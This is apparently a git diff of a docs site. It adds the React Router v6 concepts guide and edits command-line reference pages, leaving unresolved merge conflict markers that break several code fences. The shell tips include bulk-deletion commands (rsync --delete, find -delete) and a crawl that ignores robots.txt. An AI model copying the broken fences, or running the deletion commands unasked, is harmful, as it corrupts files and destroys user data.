+- URL search params
+- query string
+
+In React Router we call it the "location search". However, location search is a serialized version of [`URLSearchParams`](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams). So sometimes we might call it "URL search params" as well.
+
+```
+// given a location like this:
+let location = {
+  pathname: "/bbq/pig-pickins",
+  search: "?campaign=instagram&popular=true",
+  hash: "",
+  state: null,
+  key: "aefz24ie",
+};
+
+// we can turn the location.search into URLSearchParams
+let params = new URLSearchParams(location.search);
+params.get("campaign"); // "instagram"
+params.get("popular"); // "true"
+params.toString(); // "campaign=instagram&popular=true",
+```
+
+When being precise, refer to the serialized string version as "search" and the parsed version as "search params", but it's common to use the terms interchangeably when precision isn't important.
+
+**Location Hash**
+
+Hashes in URLs indicate a scroll position _on the current page_. Before the `window.history.pushState` API was introduced, web developers did client side routing exclusively with the hash portion of the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url), it was the only part we could manipulate without making a new request to the server. However, today we can use it for its designed purpose.
+
+**Location State**
+
+You may have wondered why the `window.history.pushState()` API is called "push state". State? Aren't we just changing the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url)? Shouldn't it be `history.push`? Well, we weren't in the room when the API was designed, so we're not sure why "state" was the focus, but it is a cool feature of browsers nonetheless.
+
+Browsers let us persist information about a transition by passing a value to `pushState`. When the user clicks back, the value on `history.state` changes to whatever was "pushed" before.
+
+```
+window.history.pushState("look ma!", undefined, "/contact");
+window.history.state; // "look ma!"
+// user clicks back
+window.history.state; // undefined
+// user clicks forward
+window.history.state; // "look ma!"
+```
+
+For illustration. You don't read `history.state` directly in React Router apps
+
+React Router takes advantage of this browser feature, abstracts it a bit, and surfaces the values on the `location` instead of `history`.
+
+You can think about `location.state` just like `location.hash` or `location.search` except instead of putting the values in the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) it's hidden--like a super secret piece of the URL only the programmer knows about.
+
+A couple of great use-cases for location state are:
+
+- Telling the next page where the user came from and branching the UI. The most popular implementation here is showing a record in a modal if the user clicked on an item in a grid view, but if they show up to the URL directly, show the record in its own layout (pinterest, old instagram).
+- Sending a partial record from a list to the next screen so it can render the partial data immediately and then fetching the rest of the data afterward.
+
+You set location state in two ways: on `<Link>` or `navigate`:
+
+```
+<Link to="/pins/123" state={{ fromDashboard: true }} />;
+
+let navigate = useNavigate();
+navigate("/users/123", { state: partialUser });
+```
+
+And on the next page you can access it with `useLocation`:
+
+```
+let location = useLocation();
+location.state;
+```
+
+Location state values will get serialized, so something like `new Date()` will be turned into a string.
+
+**Location Key**
+
+Each location gets a unique key. This is useful for advanced cases like location-based scroll management, client side data caching, and more. Because each new location gets a unique key, you can build abstractions that store information in a plain object, `new Map()`, or even `locationStorage`.
+
+For example, a very basic client side data cache could store values by location key (and the fetch [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url)) and skip fetching the data when the user clicks back into it:
+
+```
+let cache = new Map();
+
+function useFakeFetch(URL) {
+  let location = useLocation();
+  let cacheKey = location.key + URL;
+  let cached = cache.get(cacheKey);
+
+  let [data, setData] = useState(() => {
+    // initialize from the cache
+    return cached || null;
+  });
+
+  let [state, setState] = useState(() => {
+    // avoid the fetch if cached
+    return cached ? "done" : "loading";
+  });
+
+  useEffect(() => {
+    if (state === "loading") {
+      let controller = new AbortController();
+      fetch(URL, { signal: controller.signal })
+        .then((res) => res.json())
+        .then((data) => {
+          if (controller.signal.aborted) return;
+          // set the cache
+          cache.set(cacheKey, data);
+          setData(data);
+        });
+      return () => controller.abort();
+    }
+  }, [state, cacheKey]);
+
+  useEffect(() => {
+    setState("loading");
+  }, [URL]);
+
+  return data;
+}
+```
+
+## Matching
+
+On the initial render, and when the [history stack](https://reactrouter.com/docs/en/v6/getting-started/concepts#history-stack) changes, React Router will match the [location](https://reactrouter.com/docs/en/v6/getting-started/concepts#location) against your [route config](https://reactrouter.com/docs/en/v6/getting-started/concepts#route-config) to come up with a set of [matches](https://reactrouter.com/docs/en/v6/getting-started/concepts#match) to render.
+
+### Defining Routes
+
+A route config is a tree of [routes](https://reactrouter.com/docs/en/v6/getting-started/concepts#route) that looks something like this:
+
+```
+<Routes>
+  <Route path="/" element={<App />}>
+    <Route index element={<Home />} />
+    <Route path="teams" element={<Teams />}>
+      <Route path=":teamId" element={<Team />} />
+      <Route path=":teamId/edit" element={<EditTeam />} />
+      <Route path="new" element={<NewTeamForm />} />
+      <Route index element={<LeagueStandings />} />
+    </Route>
+  </Route>
+  <Route element={<PageLayout />}>
+    <Route path="/privacy" element={<Privacy />} />
+    <Route path="/tos" element={<Tos />} />
+  </Route>
+  <Route path="contact-us" element={<Contact />} />
+</Routes>
+```
+
+The `<Routes>` component recurses through its `props.children`, strips their props, and generates an object like this:
+
+```
+let routes = [
+  {
+    element: <App />,
+    path: "/",
+    children: [
+      {
+        index: true,
+        element: <Home />,
+      },
+      {
+        path: "teams",
+        element: <Teams />,
+        children: [
+          {
+            index: true,
+            element: <LeagueStandings />,
+          },
+          {
+            path: ":teamId",
+            element: <Team />,
+          },
+          {
+            path: ":teamId/edit",
+            element: <EditTeam />,
+          },
+          {
+            path: "new",
+            element: <NewTeamForm />,
+          },
+        ],
+      },
+    ],
+  },
+  {
+    element: <PageLayout />,
+    children: [
+      {
+        element: <Privacy />,
+        path: "/privacy",
+      },
+      {
+        element: <Tos />,
+        path: "/tos",
+      },
+    ],
+  },
+  {
+    element: <Contact />,
+    path: "/contact-us",
+  },
+];
+```
+
+In fact, instead of `<Routes>` you can use the hook `useRoutes(routesGoHere)` instead. That's all `<Routes>` is doing.
+
+As you can see, routes can define multiple [segments](https://reactrouter.com/docs/en/v6/getting-started/concepts#segment) like `:teamId/edit`, or just one like `:teamId`. All of the segments down a branch of the [route config](https://reactrouter.com/docs/en/v6/getting-started/concepts#route-config) are added together to create a final [path pattern](https://reactrouter.com/docs/en/v6/getting-started/concepts#path-pattern) for a route.
+
+### Match Params
+
+Note the `:teamId` segments. This is what we call a [dynamic segment](https://reactrouter.com/docs/en/v6/getting-started/concepts#dynamic-segment) of the [path pattern](https://reactrouter.com/docs/en/v6/getting-started/concepts#path-pattern), meaning it doesn't match the URL statically (the actual characters) but it matches it dynamically. Any value can fill in for `:teamId`. Both `/teams/123` or `/teams/cupcakes` will match. We call the parsed values [URL params](https://reactrouter.com/docs/en/v6/getting-started/concepts#url-params). So in this case our `teamId` param would be `"123"` or `"cupcakes"`. We'll see how to use them in your app in the [Rendering](https://reactrouter.com/docs/en/v6/getting-started/concepts#rendering) section.
+
+### Ranking Routes
+
+If we add up all the segments of all the branches of our [route config](https://reactrouter.com/docs/en/v6/getting-started/concepts#route-config), we end up with the following path patterns that our app responds to:
+
+```
+[
+  "/",
+  "/teams",
+  "/teams/:teamId",
+  "/teams/:teamId/edit",
+  "/teams/new",
+  "/privacy",
+  "/tos",
+  "/contact-us",
+];
+```
+
+Now this is where things get really interesting. Consider the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) `/teams/new`. Which pattern in that list matches the URL?
+
+That's right, two of them!
+
+```
+/teams/new
+/teams/:teamId
+```
+
+React Router has to make a decision here, there can be only one. Many routers, both client side and server side, will simply process the patterns in the order in which they were defined. First to match wins. In this case we would match `/` and render the `<Home/>` component. Definitely not what we wanted. These kinds of routers require us to order our routes perfectly to get the expected result. This is how React Router has worked up until v6, but now it's much smarter.
+
+Looking at those patterns, you intuitively know that we want `/teams/new` to match the URL `/teams/new`. It's a perfect match! React Router also knows that. When matching, it will rank your routes according the number of segments, static segments, dynamic segments, star patterns, etc. and pick the most specific match. You'll never have to think about ordering your routes.
+
+### Pathless Routes
+
+You may have noticed the weird routes from earlier:
+
+```
+<Route index element={<Home />} />
+<Route index element={<LeagueStandings />} />
+<Route element={<PageLayout />} />
+```
+
+They don't even have a path, how can they be a route? This is where the word "route" in React Router is used pretty loosely. `<Home/>` and `<LeagueStandings/>` are [index routes](https://reactrouter.com/docs/en/v6/getting-started/concepts#index-route) and `<PageLayout/>` is a [layout route](https://reactrouter.com/docs/en/v6/getting-started/concepts#layout-route). We'll discuss how they work in the [Rendering](https://reactrouter.com/docs/en/v6/getting-started/concepts#rendering) section. Neither really has much to do with matching.
+
+### Route Matches
+
+When a route matches the URL, it's represented by a [match](https://reactrouter.com/docs/en/v6/getting-started/concepts#match) object. A match for `<Route path=":teamId" element={<Team/>}/>` would look something like this:
+
+```
+{
+  pathname: "/teams/firebirds",
+  params: {
+    teamId: "firebirds"
+  },
+  route: {
+    element: <Team />,
+    path: ":teamId"
+  }
+}
+```
+
+`pathname` holds the portion of the URL that matched this route (in our case it's all of it). `params` holds the parsed values from any [dynamic segments](https://reactrouter.com/docs/en/v6/getting-started/concepts#dynamic-segment) that matched. Note that the param's object keys map directly to the name of the segment: `:teamId` becomes `params.teamId`.
+
+Because our routes are a tree, a single URL can match an entire branch of the tree. Consider the URL `/teams/firebirds`, it would be the following route branch:
+
+```
+<Routes>
+  <Route path="/" element={<App />}>
+    <Route index element={<Home />} />
+    <Route path="teams" element={<Teams />}>
+      <Route path=":teamId" element={<Team />} />
+      <Route path=":teamId/edit" element={<EditTeam />} />
+      <Route path="new" element={<NewTeamForm />} />
+      <Route index element={<LeagueStandings />} />
+    </Route>
+  </Route>
+  <Route element={<PageLayout />}>
+    <Route path="/privacy" element={<Privacy />} />
+    <Route path="/tos" element={<Tos />} />
+  </Route>
+  <Route path="contact-us" element={<Contact />} />
+</Routes>
+```
+
+React Router will create an array of [matches](https://reactrouter.com/docs/en/v6/getting-started/concepts#match) from these routes and the url so it can render a nested UI that matches the route nesting.
+
+```
+[
+  {
+    pathname: "/",
+    params: null,
+    route: {
+      element: <App />,
+      path: "/",
+    },
+  },
+  {
+    pathname: "/teams",
+    params: null,
+    route: {
+      element: <Teams />,
+      path: "teams",
+    },
+  },
+  {
+    pathname: "/teams/firebirds",
+    params: {
+      teamId: "firebirds",
+    },
+    route: {
+      element: <Team />,
+      path: ":teamId",
+    },
+  },
+];
+```
+
+## Rendering
+
+The final concept is rendering. Consider that the entry to your app looks like this:
+
+```
+ReactDOM.render(
+  <BrowserRouter>
+    <Routes>
+      <Route path="/" element={<App />}>
+        <Route index element={<Home />} />
+        <Route path="teams" element={<Teams />}>
+          <Route path=":teamId" element={<Team />} />
+          <Route path="new" element={<NewTeamForm />} />
+          <Route index element={<LeagueStandings />} />
+        </Route>
+      </Route>
+      <Route element={<PageLayout />}>
+        <Route path="/privacy" element={<Privacy />} />
+        <Route path="/tos" element={<Tos />} />
+      </Route>
+      <Route path="contact-us" element={<Contact />} />
+    </Routes>
+  </BrowserRouter>,
+  document.getElementById("root")
+);
+```
+
+Let's use the `/teams/firebirds` URL as an example again. `<Routes>` will match the [location](https://reactrouter.com/docs/en/v6/getting-started/concepts#location) to your [route config](https://reactrouter.com/docs/en/v6/getting-started/concepts#route-config), get a set of [matches](https://reactrouter.com/docs/en/v6/getting-started/concepts#match), and then render a React element tree like this:
+
+```
+<App>
+  <Teams>
+    <Team />
+  </Teams>
+</App>
+```
+
+Each match rendered inside the parent route's element is a really powerful abstraction. Most websites and apps share this characteristic: boxes inside of boxes inside of boxes, each with a navigation section that changes a child section of the page.
+
+### Outlets
+
+This nested element tree won't happen automatically. `<Routes>` will render the first match's element for you (In our case that's `<App/>`). The next match's element is `<Teams>`. In order to render that, `App` needs to render an [outlet](https://reactrouter.com/docs/en/v6/getting-started/concepts#outlet).
+
+```
+function App() {
+  return (
+    <div>
+      <GlobalNav />
+      <Outlet />
+      <GlobalFooter />
+    </div>
+  );
+}
+```
+
+The `Outlet` component will always render the next match. That means `<Teams>` also needs an outlet to render `<Team/>`.
+
+If the URL were `/contact-us`, the element tree would change to:
+
+Because the contact form is not under the main `<App>` route.
+
+If the URL were `/teams/firebirds/edit`, the element tree would change to:
+
+```
+<App>
+  <Teams>
+    <EditTeam />
+  </Teams>
+</App>
+```
+
+The outlet swaps out the child for the new child that matches, but the parent layout persists. It's subtle but very effective at cleaning up your components.
+
+### Index Routes
+
+Remember the [route config](https://reactrouter.com/docs/en/v6/getting-started/concepts#route-config) for `/teams`:
+
+```
+<Route path="teams" element={<Teams />}>
+  <Route path=":teamId" element={<Team />} />
+  <Route path="new" element={<NewTeamForm />} />
+  <Route index element={<LeagueStandings />} />
+</Route>
+```
+
+If the URL were `/teams/firebirds`, the element tree would be:
+
+```
+<App>
+  <Teams>
+    <Team />
+  </Teams>
+</App>
+```
+
+But if the URL were `/teams`, the element tree would be:
+
+```
+<App>
+  <Teams>
+    <LeagueStandings />
+  </Teams>
+</App>
+```
+
+League standings? How the heck did `<Route index element={<LeagueStandings>}/>` pop in there? It doesn't even have a path! The reason is that it's an [index route](https://reactrouter.com/docs/en/v6/getting-started/concepts#index-route). Index routes render in their parent route's [outlet](https://reactrouter.com/docs/en/v6/getting-started/concepts#outlet) at the parent route's path.
+
+Think of it this way, if you're not at one of the child routes' paths, the `<Outlet>` will render nothing in the UI:
+
+If all the teams are in a list on the left then an empty outlet means you've got a blank page on the right! Your UI needs something to fill the space: index routes to the rescue.
+
+Another way to think of an index route is that it's the default child route when the parent matches but none of its children do.
+
+Depending on the user interface, you might not need an index route, but if there is any sort of persistent navigation in the parent route you'll most likely want index route to fill the space when the user hasn't clicked one of the items yet.
+
+### Layout Routes
+
+Here's a part of our route config we haven't matched yet: `/privacy`. Let's look at the route config again, highlighting the matched routes:
+
+```
+<Routes>
+  <Route path="/" element={<App />}>
+    <Route index element={<Home />} />
+    <Route path="teams" element={<Teams />}>
+      <Route path=":teamId" element={<Team />} />
+      <Route path=":teamId/edit" element={<EditTeam />} />
+      <Route path="new" element={<NewTeamForm />} />
+      <Route index element={<LeagueStandings />} />
+    </Route>
+  </Route>
+  <Route element={<PageLayout />}>
+    <Route path="/privacy" element={<Privacy />} />
+    <Route path="/tos" element={<Tos />} />
+  </Route>
+  <Route path="contact-us" element={<Contact />} />
+</Routes>
+```
+
+And the resulting element tree rendered will be:
+
+```
+<App>
+  <PageLayout>
+    <Privacy />
+  </PageLayout>
+</App>
+```
+
+The `PageLayout` route is admittedly weird. We call it a [layout route](https://reactrouter.com/docs/en/v6/getting-started/concepts#layout-route) because it doesn't participate in the matching at all (though its children do). It only exists to make wrapping multiple child routes in the same layout simpler. If we didn't allow this then you'd have to handle layouts in two different ways: sometimes your routes do it for you, sometimes you do it manually with lots of layout component repetition throughout your app:
+
+You can do it like this, but we recommend using a layout route
+
+```
+<Routes>
+  <Route path="/" element={<App />}>
+    <Route index element={<Home />} />
+    <Route path="teams" element={<Teams />}>
+      <Route path=":teamId" element={<Team />} />
+      <Route path=":teamId/edit" element={<EditTeam />} />
+      <Route path="new" element={<NewTeamForm />} />
+      <Route index element={<LeagueStandings />} />
+    </Route>
+  </Route>
+  <Route
+    path="/privacy"
+    element={
+      <PageLayout>
+        <Privacy />
+      </PageLayout>
+    }
+  />
+  <Route
+    path="/tos"
+    element={
+      <PageLayout>
+        <Tos />
+      </PageLayout>
+    }
+  />
+  <Route path="contact-us" element={<Contact />} />
+</Routes>
+```
+
+So, yeah, the semantics of a layout "route" is a bit silly since it has nothing to do with the URL matching, but it's just too convenient to disallow.
+
+## Navigating
+
+When the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) changes we call that a "navigation". There are two ways to navigate in React Router:
+
+- `<Link>`
+- `navigate`
+
+### Link
+
+This is the primary means of navigation. Rendering a `<Link>` allows the user to change the URL when they click it. React Router will prevent the browser's default behavior and tell the [history](https://reactrouter.com/docs/en/v6/getting-started/concepts#history) to push a new entry into the [history stack](https://reactrouter.com/docs/en/v6/getting-started/concepts#history-stack). The [location](https://reactrouter.com/docs/en/v6/getting-started/concepts#location) changes and the new [matches](https://reactrouter.com/docs/en/v6/getting-started/concepts#match) will render.
+
+However, links are accessible in that they:
+
+- Still render a `<a href>` so all default accessibility concerns are met (like keyboard, focusability, SEO, etc.)
+- Don't prevent the browser's default behavior if it's a right click or command/control click to "open in new tab"
+
+[Nested routes](https://reactrouter.com/docs/en/v6/getting-started/concepts#nested-routes) aren't just about rendering layouts; they also enable "relative links". Consider our `teams` route from before:
+
+```
+<Route path="teams" element={<Teams />}>
+  <Route path=":teamId" element={<Team />} />
+</Route>
+```
+
+The `<Teams>` component can render links like:
+
+```
+<Link to="psg" />
+<Link to="new" />
+```
+
+The full path it links to will be `/teams/psg` and `/teams/new`. They inherit the route within which they are rendered. This makes it so your route components don't have to really know anything about the rest of the routes in the app. A very large amount of links just go one more [segment](https://reactrouter.com/docs/en/v6/getting-started/concepts#segment) deeper. You can rearrange your whole [route config](https://reactrouter.com/docs/en/v6/getting-started/concepts#route-config) and these links will likely still work just fine. This is very valuable when building out a site in the beginning and the designs and layouts are shifting around.
+
+### Navigate Function
+
+This function is returned from the `useNavigate` hook and allows you, the programmer, to change the URL whenever you want. You could do it on a timeout:
+
+```
+let navigate = useNavigate();
+useEffect(() => {
+  setTimeout(() => {
+    navigate("/logout");
+  }, 30000);
+}, []);
+```
+
+Or after a form is submitted:
+
+```
+<form onSubmit={event => {
+  event.preventDefault();
+  let data = new FormData(event.target)
+  let urlEncoded = new URLSearchParams(data)
+  navigate("/create", { state: urlEncoded })
+}}>
+```
+
+Like `Link`, `navigate` works with nested "to" values as well.
+
+You should have a good reason to use `navigate` instead of `<Link>`. This makes us very sad:
+
+```
+<li onClick={() => navigate("/somewhere")} />
+```
+
+Aside from links and forms, very few interactions should change the URL because it introduces complexity around accessibility and user expectations.
+
+## Data Access
+
+Finally, an application is going to want to ask React Router for a few pieces of information in order to build out the full UI. For this, React Router has a pile of hooks
+
+```
+let location = useLocation();
+let urlParams = useParams();
+let [urlSearchParams] = useSearchParams();
+```
+
+## Review
+
+Let's put it all together from the top!
+
+1.  You render your app:
+
+    ```
+    ReactDOM.render(
+      <BrowserRouter>
+        <Routes>
+          <Route path="/" element={<App />}>
+            <Route index element={<Home />} />
+            <Route path="teams" element={<Teams />}>
+              <Route path=":teamId" element={<Team />} />
+              <Route path="new" element={<NewTeamForm />} />
+              <Route index element={<LeagueStandings />} />
+            </Route>
+          </Route>
+          <Route element={<PageLayout />}>
+            <Route path="/privacy" element={<Privacy />} />
+            <Route path="/tos" element={<Tos />} />
+          </Route>
+          <Route path="contact-us" element={<Contact />} />
+        </Routes>
+      </BrowserRouter>,
+      document.getElementById("root")
+    );
+    ```
+
+2.  `<BrowserRouter>` creates a [history](https://reactrouter.com/docs/en/v6/getting-started/concepts#history), puts the initial [location](https://reactrouter.com/docs/en/v6/getting-started/concepts#location) in to state, and subscribes to the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url).
+3.  `<Routes>` recurses it's [child routes](https://reactrouter.com/docs/en/v6/getting-started/concepts#child-route) to build a [route config](https://reactrouter.com/docs/en/v6/getting-started/concepts#route-config), matches those routes against the [location](https://reactrouter.com/docs/en/v6/getting-started/concepts#location), creates some route [matches](https://reactrouter.com/docs/en/v6/getting-started/concepts#match), and renders the first match's route element.
+4.  You render an [`<Outlet/>`](https://reactrouter.com/docs/en/v6/getting-started/concepts#outlet) in each [parent route](https://reactrouter.com/docs/en/v6/getting-started/concepts#parent-route).
+5.  The outlets render the next match in the route [matches](https://reactrouter.com/docs/en/v6/getting-started/concepts#match).
+6.  The user clicks a link
+7.  The link calls `navigate()`
+8.  The [history](https://reactrouter.com/docs/en/v6/getting-started/concepts#history) changes the URL and notifies `<BrowserRouter>`.
+9.  `<BrowserRouter>` rerenders, start over at (2)!
+
+That's it! We hope this guide has helped you gain a deeper understanding of the main concepts in React Router.
+
+Url: https://reactrouter.com/docs/en/v6/getting-started/concepts
diff --git a/src/pages/docs/reference/art-of-command-line.md b/src/pages/docs/reference/art-of-command-line.md
index 9096bc1ffb..a2727a636c 100644
--- a/src/pages/docs/reference/art-of-command-line.md
+++ b/src/pages/docs/reference/art-of-command-line.md
@@ -74,7 +74,7 @@ Notes:
 
 - Use `xargs` (or `parallel`). It's very powerful. Note you can control how many items execute per line (`-L`) as well as parallelism (`-P`). If you're not sure if it'll do the right thing, use `xargs echo` first. Also, `-I{}` is handy. Examples:
 
-```bash
+```console
       find . -name '*.py' | xargs grep some_function
       cat hosts | xargs -I{} ssh root@{} hostname
 ```
@@ -105,14 +105,14 @@ Notes:
 
 - In Bash scripts, use `set -x` (or the variant `set -v`, which logs raw input, including unexpanded variables and comments) for debugging output. Use strict modes unless you have a good reason not to: Use `set -e` to abort on errors (nonzero exit code). Use `set -u` to detect unset variable usages. Consider `set -o pipefail` too, to abort on errors within pipes (though read up on it more if you do, as this topic is a bit subtle). For more involved scripts, also use `trap` on EXIT or ERR. A useful habit is to start a script like this, which will make it detect and abort on common errors and print a message:
 
-```bash
+```console
       set -euo pipefail
       trap "echo 'error: Script failed: see failed command above'" ERR
 ```
 
 - In Bash scripts, subshells (written with parentheses) are convenient ways to group commands. A common example is to temporarily move to a different working directory, e.g.
 
-```bash
+```console
       # do something in current dir
       (cd /some/other/dir && other-command)
       # continue in original dir
@@ -126,13 +126,17 @@ Notes:
 
 - The output of a command can be treated like a file via `<(some command)` (known as process substitution). For example, compare local `/etc/hosts` with a remote one:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       diff /etc/hosts <(ssh somehost cat /etc/hosts)
 ```
 
 - When writing scripts you may want to put all of your code in curly braces. If the closing brace is missing, your script will be prevented from executing due to a syntax error. This makes sense when your script is going to be downloaded from the web, since it prevents partially downloaded scripts from executing:
 
-```bash
+```console
 {
       # Your code here
 }
@@ -173,7 +177,11 @@ EOF
 
 - To get the permissions on a file in octal form, which is useful for system configuration but not available in `ls` and easy to bungle, use something like
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       stat -c '%A %a %n' /etc/timezone
 ```
 
@@ -235,13 +243,21 @@ EOF
 
 - To replace all occurrences of a string in place, in one or more files:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       perl -pi.bak -e 's/old-string/new-string/g' my-files-*.txt
 ```
 
 - To rename multiple files and/or search and replace within files, try [`repren`](https://github.com/jlevy/repren). (In some cases the `rename` command also allows multiple renames, but be careful as its functionality is not the same on all Linux distributions.)
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       # Full rename of filenames, directories, and contents foo -> bar:
       repren --full --preserve-case --from foo --to bar .
       # Recover backup files whatever.bak -> whatever:
@@ -252,7 +268,11 @@ EOF
 
 - As the man page says, `rsync` really is a fast and extraordinarily versatile file copying tool. It's known for synchronizing between machines but is equally useful locally. When security restrictions allow, using `rsync` instead of `scp` allows recovery of a transfer without restarting from scratch. It also is among the [fastest ways](https://web.archive.org/web/20130929001850/http://linuxnote.net/jianingy/en/linux/a-fast-way-to-remove-huge-number-of-files.html) to delete large numbers of files:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 mkdir empty && rsync -r --delete empty/ some-dir && rmdir some-dir
 ```
 
@@ -274,7 +294,11 @@ mkdir empty && rsync -r --delete empty/ some-dir && rmdir some-dir
 
 - To convert text encodings, try `iconv`. Or `uconv` for more advanced use; it supports some advanced Unicode things. For example:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       # Displays hex codes or actual names of characters (useful for debugging):
       uconv -f utf-8 -t utf-8 -x '::Any-Hex;' < input.txt
       uconv -f utf-8 -t utf-8 -x '::Any-Name;' < input.txt
@@ -292,7 +316,11 @@ mkdir empty && rsync -r --delete empty/ some-dir && rmdir some-dir
 
 - Use `getfacl` and `setfacl` to save and restore file permissions. For example:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
    getfacl -R /some/path > permissions.txt
    setfacl --restore=permissions.txt
 ```
@@ -348,7 +376,11 @@ A few examples of piecing together commands:
 
 - It is remarkably helpful sometimes that you can do set intersection, union, and difference of text files via `sort`/`uniq`. Suppose `a` and `b` are text files that are already uniqued. This is fast, and works on files of arbitrary size, up to many gigabytes. (Sort is not limited by memory, though you may need to use the `-T` option if `/tmp` is on a small root partition.) See also the note about `LC_ALL` above and `sort`'s `-u` option (left out for clarity below).
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       sort a b | uniq > c   # c is a union b
       sort a b | uniq -d > c   # c is a intersect b
       sort a b b | uniq -u > c   # c is set difference a - b
@@ -364,19 +396,31 @@ A few examples of piecing together commands:
 - 
 - Summing all numbers in the third column of a text file (this is probably 3X faster and 3X less code than equivalent Python):
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       awk '{ x += $3 } END { print x }' myfile
 ```
 
 - To see sizes/dates on a tree of files, this is like a recursive `ls -l` but is easier to read than `ls -lR`:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       find . -type f -ls
 ```
 
 - Say you have a text file, like a web server log, and a certain value that appears on some lines, such as an `acct_id` parameter that is present in the URL. If you want a tally of how many requests for each `acct_id`:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       egrep -o 'acct_id=[0-9]+' access.log | cut -d= -f2 | sort | uniq -c | sort -rn
 ```
 
@@ -384,7 +428,11 @@ A few examples of piecing together commands:
 - 
 - Run this function to get a random tip from this document (parses Markdown and extracts an item):
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       function taocl() {
         curl -s https://raw.githubusercontent.com/jlevy/the-art-of-command-line/master/README.md |
           sed '/cowsay[.]png/d' |
diff --git a/src/pages/docs/reference/bash-commands.md b/src/pages/docs/reference/bash-commands.md
index 67c17e4d7a..25a7eb76b4 100644
--- a/src/pages/docs/reference/bash-commands.md
+++ b/src/pages/docs/reference/bash-commands.md
@@ -101,14 +101,24 @@ find . -type f -exec chmod 644 {} \;
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find . -name "* *" -type d | rename 's/ /_/g'
 find . -name "* *" -type f | rename 's/ /_/g'
 ```
 
+<<<<<<< HEAD
 ```sh
 
 ```sh
+=======
+````console
+
+```console
+>>>>>>> master
 find $dir -type f | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
 
 find $dir -type d | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
@@ -134,7 +144,7 @@ fs.writeFile('output.md', cat, err => {
   if (err) throw err;
 });
 
-```
+````
 
 ---
 
@@ -146,7 +156,11 @@ fs.writeFile('output.md', cat, err => {
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -p -E -e robots=off -U mozilla https://bootcamp42.gitbook.io/python/
 
@@ -162,7 +176,11 @@ wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -p -E -e ro
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -empty -type d -print -delete
 
@@ -184,7 +202,11 @@ find . \( -name "*SECURITY.txt" -o -name "*RELEASE.txt" -o  -name "*CHANGELOG.tx
 
 # Generalized:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 CNTX={users|orgs}; NAME={username|orgname}; PAGE=1
 curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=100" |
@@ -195,7 +217,11 @@ curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=100" |
 
 # Clone all Git User
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 CNTX={users}; NAME={bgoonz}; PAGE=1
 curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=master |
   grep -e 'git_url*' |
@@ -206,7 +232,11 @@ curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=m
 
 # Clone all Git Organization:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 CNTX={organizations}; NAME={TheAlgorithms}; PAGE=1
 curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=master |
@@ -224,7 +254,11 @@ curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=m
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 git pull
 git init
 git add .
@@ -232,14 +266,22 @@ git commit -m"update"
 git push -u origin master
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 git init
 git add .
 git commit -m"update"
 git push -u origin main
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git init
 git add .
@@ -247,14 +289,22 @@ git commit -m"update"
 git push -u origin bryan-guner
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 git init
 git add .
 git commit -m"update"
 git push -u origin gh-pages
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 git init
 git add .
 git commit -m"update"
@@ -271,7 +321,11 @@ git push -u origin preview
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -name "*.zip" | while read filename; do unzip -o -d "`dirname "$filename"`" "$filename"; done;
 
@@ -289,7 +343,11 @@ find . -name "*.zip" -type f -print -delete
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git stash
 git pull
@@ -307,7 +365,11 @@ git stash pop
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 sudo npm i prettier -g
 
@@ -325,7 +387,11 @@ prettier --write .
 
 ###### code:
 
+<<<<<<< HEAD
